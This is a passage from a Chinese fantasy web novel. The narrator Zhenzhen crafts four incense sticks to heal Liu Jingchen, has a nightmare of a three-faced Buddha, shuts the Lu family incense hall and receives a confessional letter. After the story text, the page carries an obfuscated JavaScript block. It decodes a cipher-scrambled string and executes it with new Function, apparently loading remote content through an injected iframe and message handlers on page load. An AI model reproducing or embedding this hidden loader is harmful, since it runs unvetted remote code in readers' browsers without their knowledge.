“蓁蓁,不要做让亲者痛仇者快的事情,不值得。”
“我当年没得选,但你不一样,你是香娘娘转世,鹿家阴香的掌事人,或许除了书翊说的那个办法,你可以制出某种阴香,化掉这标记也未可知呢?”
“蓁蓁,想想柳璟琛,他要是知道你这样伤害自己,该多痛心啊。”
柳璟琛……
我如梦初醒,是啊,我怎么能一时冲动之下这样伤害自己呢?
柳璟琛如今正挣扎在生死线上,我还得去救他!
我的身体终于软了下来,胡云玺这才松了一口气,放开了我。
我抬眼又看了一眼他。
我很想问问他,关于他身上的那块耻辱印记是怎么来的,又代表着什么。
今夜他自揭痛处来劝我,迈出这一步对他来说有多难啊!
但他没有直接跟我说,就说明他暂时还不想,我不能再在他伤口上撒盐了。
所以话到嘴边又被我咽了下去,转而说道:“胡云玺谢谢你,是我冲动了。”
“这不怪你。”胡云玺真诚道,“这事儿摆在谁身上都得疯,但蓁蓁你的身份不一样,你得忍辱负重,不除掉那狗贼,你咽的下这口气吗?”
咽不下!当然咽不下!
胡云玺拍拍我肩膀,轻声道:“蓁蓁,好好睡一觉,你的身后还有我们,别怕。”
我直点头,心中无比庆幸,当初柳璟琛离开时,如果没有托付胡云玺来帮我,如果没有为我留下这么多兄弟姐妹陪我,我怎样才能撑过这一个又一个坎儿啊!
胡云玺离开之后,我燃了一根安神香,让自己彻底放松下来,慢慢睡了过去。
一夜无梦。
再醒来已是第二天晌午,我整个人精气神儿都回来了。
开门出来的时候,就看到柳书禾和唐言蹊两颗小脑袋挤在一起,凑近门缝往我房间里看。
我冷不丁地拉开门,吓了她俩一跳。
各自都不好意思地挠头:“蓁蓁你起来啦?”
“今天天气真好啊。”
我笑道:“是呀,天气真好,适合干活儿。”
肚子早就饿瘪了,我去厨房找吃的,她俩就跟在我身后叽叽喳喳地聊着,我吃完了,她俩又跟着我回房。
我也不撵她俩,着手准备制香的材料,缺什么少哪样,就让书禾去拿去找,挑拣、碾磨香料就让言蹊帮忙,三个人一直忙到傍晚。
“我得走了,今晚前半夜我值班守村口。”
“啊呀,我的老腰啊,我的手腕啊,感觉完全不是我的了一样,我得回去躺着了,没有一两天缓不过来了。”
两人前后脚溜了。
我无奈地笑了笑,不过也得亏她们帮忙,否则这么多事儿,我一个人得再忙一天才能准备好。
在阴镖局的时候,我已经成功用小黑的血制过一根阴香,所以这次准备起来游刃有余。
吃过晚饭,我洗漱干净,关上门窗,一个人专心致志地忙着。
配料、混合搅拌、揉搓、塑形、脱模、晾干,每一个步骤我都烂熟于心,等四根阴香最终完成的时候,天也大亮了。
我小心翼翼地将这四根阴香装进檀木盒子里,为它们命名:长生。
我不确定这四根阴香是否真的能达到肉白骨的效果,但多少是能改善柳璟琛的伤情的吧?
如果我真的成功了,希望这四根香能让柳璟琛长长久久的活着,再也不受蛇骨真身的制约。
我愿他长生。
收拾好一切,我躺在床上又小憩了一会儿。
可这一次我没能睡得安稳,睡着没多久,我就开始做梦。
我又梦到了那个香堂,只是这一次,香堂里没有那个狗贼,我跪在蒲团上,仰头往上看。
高大魁梧的三面佛金身盘腿坐在香堂的正中央,身底下是朝外伸展开来的六瓣莲,佛身圆滚滚的,从我的方向看去,只能看到两个侧面以及一个佛头的后脑勺。
两个侧面,一个红黑狰狞犹如罗刹一般,一个双目紧闭,有悲天悯人之势,对面只能看到佛头后脑勺的那一个,不知道长什么样子。
我站起来,想要转过去看一看那一面。
可就在这时候,红黑狰狞的那一面忽然张开血盆大口,兜头便朝着我压下来,就在这时候,一只残缺的带着灰白灯芯的油灯从它头顶上滑落,不偏不倚地砸在了我额角上……
啊!
我猛地从睡梦中惊醒,睁开眼睛盯着帐顶,好一会儿才慢慢缓过神来。
我长吁一口气,抬手摸了摸额角。
不痛。
还好,只是梦。
可能是胡云玺向我描述的那些场景一直被我压在心底里,终于在我梦中爆发出来了吧?
我起身下床,准备出去走走,散散心。
顺便筹备一下去长白山的事情。
可当我走到前面阴香堂主堂的时候,发现大家都聚集在那儿。
他们围在一起,压低声音说着什么,很投入,就连我站在他们身后了,都没被察觉。
我踮起脚尖往里面看去,就看到香炉里插着的三根供香,中间一根缓缓烧着,还很长,两边那两根肉眼可见的在变短,烧得特别快。
人怕三长两短,香怕两短一长。
这是我跟童继先学到的最基础的阴阳知识。
供香烧成这样,难怪他们几个围在这儿看。
等我的视线再挪向香炉后方的香娘娘金身时,就发现金身周围又萦绕上了那股黑气。
“书翊、大力。”我突然出声,交代道,“鹿家阴香堂从今天起关门,不受任何人供奉,不对外接任何请事帖,尽快把消息散出去吧。”
柳书翊点头,柳大力显然不解,但他还是绝对服从,领命去了。
我转身往回走,柳书禾追上来,问道:“蓁蓁,真的不去见一见鹿唯心吗?她这是要帮着那狗贼毁了咱阴香堂啊!”
我摇头:“不去。”
柳书禾还想说什么,一只血鸽扑棱着翅膀落在了我的肩膀上,她顿时闭了嘴。
看到这只血鸽,我才想起来,我已经有两三天没收到长白山来的信了。
即便是柳君乾代笔的假信。
我也有好几天没有给那边回信了。
我抽出铜管里的信,还没展开,就被浓烈的药香味冲得打了一个喷嚏。
柳书禾也跟着连续打了两个。
我却迫不及待地展开了信纸,果然,这次信上的笔迹是柳璟琛的。
信的开头是这样的:吾妻蓁蓁,当你看到这封信的时候,你应该已经发现我的秘密了,对不起,我骗了你……
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();